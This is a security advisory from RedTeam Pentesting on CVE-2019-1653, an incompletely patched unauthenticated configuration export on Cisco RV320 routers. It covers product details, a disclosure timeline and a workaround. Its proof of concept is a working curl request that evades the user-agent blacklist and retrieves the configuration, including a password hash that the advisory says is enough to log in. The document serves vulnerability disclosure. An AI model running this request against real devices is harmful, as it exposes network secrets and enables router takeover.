Advisory: Cisco RV320 Unauthenticated Configuration Export

RedTeam Pentesting discovered that the configuration of a Cisco RV320
router can still be exported without authentication via the device's web
interface due to an inadequate fix by the vendor.

Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003
Advisory Status: published
CVE: CVE-2019-1653
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653

Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])

More Details
============

The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based
configuration interface, which is implemented in various CGI programs in
the device's firmware. Access to this web interface requires prior
authentication using a username and password. Previously, RedTeam
Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI
program:

/cgi-bin/config.exp

By issuing an HTTP GET request to this program, it was possible to
export a router's configuration without providing any prior
authentication. This vulnerability was adressed in firmware version
1.4.2.19 published by Cisco [3].

RedTeam Pentesting discovered that the CGI program in the patched
firmware is still vulnerable. By performing a specially crafted HTTP
POST request, attackers are still able to download the router's
configuration. The user agent "curl" is blacklisted by the firmware and
must be adjusted in the HTTP client. Again, exploitation does not
require any authentication.

Proof of Concept
================

A device's configuration can be retrieved by issuing an HTTP POST request
to the vulnerable CGI program (output shortened):

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \
  'https://192.168.1.1/cgi-bin/config.exp'
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]
------------------------------------------------------------------------

Workaround
==========

Prevent untrusted clients from connecting to the device's web server.

Fix
===

None

Security Risk
=============

This vulnerability is rated as a high risk as it exposes the device's
configuration to untrusted, potentially malicious parties. By
downloading the configuration, attackers can obtain internal network
configuration, VPN or IPsec secrets, as well as password hashes for the
router's user accounts. Knowledge of a user's password hash is
sufficient to log into the router's web interface, cracking of the hash
is not required. Any information obtained through exploitation of this
vulnerability can be used to facilitate further compromise of the device
itself or attached networks.

Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-11-18 List of affected versions provided by vendor
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-002) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published

References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-002
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

RT-SA-2019-003 Cisco RV320 Unauthenticated Configuration Export的更多相关文章

  1. RT-SA-2019-004 Cisco RV320 Unauthenticated Diagnostic DataRetrieval

    Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval RedTeam Pentesting discovered that t ...

  2. RT-SA-2019-005 Cisco RV320 Command Injection Retrieval

    Advisory: Cisco RV320 Command Injection RedTeam Pentesting discovered a command injection vulnerabil ...

  3. 自学Zabbix10.1 Configuration export/import 配置导入导出

    自学Zabbix10.1 Configuration export/import 配置导入导出 通过导入/导出zabbix配置文件,我们可以将自己写好的模板等配置在网络上分享,我们也可以导入网络上分享 ...

  4. CISCO Configuration Examples and TechNotes

    from:  http://www.cisco.com/c/en/us/tech/ip/ip-routing/tech-configuration-examples-list.html Border ...

  5. Cisco Common Service Platform Collector - Hardcoded Credentials(CVE-2019-1723)

    Cisco Common Service Platform Collector - Hardcoded Credentials 思科公共服务平台收集器-硬编码凭证(CVE-2019-1723) htt ...

  6. Cisco Umbrella WLAN

    Cisco Umbrella WLAN在域名系统(DNS)级别提供云交付网络安全服务,可自动检测已知和紧急威胁. 此功能允许您在实际恶意攻击之前阻止托管恶意软件,僵尸网络和网络钓鱼的站点. Cisco ...

  7. JDBC与Druid简单介绍及Druid与MyBatis连接数据库

    序言 java程序与数据建立连接,首先要从jdbc说起,然后直接上阿里认为宇宙最好的数据库连接池druid,然后再说上层程序对象与数据源映射关联关系的orm-mybatis. JDBC介绍 JDBC( ...

  8. Tech Stuff - Mobile Browser ID (User-Agent) Strings

    Tech Stuff - Mobile Browser ID (User-Agent) Strings The non-mobile stuff is here (hint: you get jerk ...

  9. C# 对 App.config的appSettings节点数据进行加密

    .NET平台下的Winform和Asp.net的配置文件默认都是明文保存的,本文使用的是.Net自身如何加密配置文件,不包含自定义的加密规则 但.Net是提供了直接对配置文件加密的功能的,使用.Net ...

随机推荐

  1. kernel笔记——网络收发包流程

    本文将介绍网络连接建立的过程.收发包流程,以及其中应用层.tcp层.ip层.设备层和驱动层各层发挥的作用. 应用层 对于使用socket进行网络连接的服务器端程序,我们会先调用socket函数创建一个 ...

  2. 在IIS上部署(托管).NET Core站点

    部署教程 操作系统要求 Windows 7 或更高版本 Windows Server 2008 R2 或更高版本 依赖的组件 Runtime & Hosting Bundle   image. ...

  3. 初识服务发现及Consul框架的简单使用

    初识服务发现及Consul框架的简单使用   1.什么是服务发现? 服务发现组件记录了(大规模)分布式系统中所有服务的信息,人们或者其它服务可以据此找到这些服务. DNS 就是一个简单的例子. 当然, ...

  4. SpringBoot整合RabbitMQ-消息可靠性投递

    本系列是学习SpringBoot整合RabbitMQ的练手,包含服务安装,RabbitMQ整合SpringBoot2.x,消息可靠性投递实现等三篇博客. 学习路径:https://www.imooc. ...

  5. 如何卸载VS 2017之前版本比如VS 2013、VS2015、 VS vNext?

    前言 大学专业为软件工程,进入大学之后才知道这个专业需要用到笔记本,我的笔记本配置为I3,内存4个G,已经有大几年了,中间坏了修了一次一直用到现在,这个笔记本还是我哥打工过年回来身上仅有的三四千块钱所 ...

  6. EF 6.x和EF Core实现返回dynamic类型

    前言 未曾想需要直接返回dynamic,多次尝试未能实现,最终还是在stackoverflow上找到了解决方案,特此备忘录. public static dynamic SqlQuery(this D ...

  7. 使用FaceNet 图像相识度对比

    1. 模型结构:

  8. BZOJ4269再见Xor——高斯消元解线性基

    题目描述 给定N个数,你可以在这些数中任意选一些数出来,每个数可以选任意多次,试求出你能选出的数的异或和的最大值和严格次大值. 输入 第一行一个正整数N. 接下来一行N个非负整数. 输出 一行,包含两 ...

  9. SD第九届省赛B题 Bullet

    Bullet Time Limit: 1000 ms Memory Limit: 65536 KiB Submit Statistic Discuss Problem Description In G ...

  10. DZY Loves Math 系列详细题解

    BZOJ 3309: DZY Loves Math I 题意 \(f(n)\) 为 \(n\) 幂指数的最大值. \[ \sum_{i = 1}^{a} \sum_{j = 1}^{b} f(\gcd ...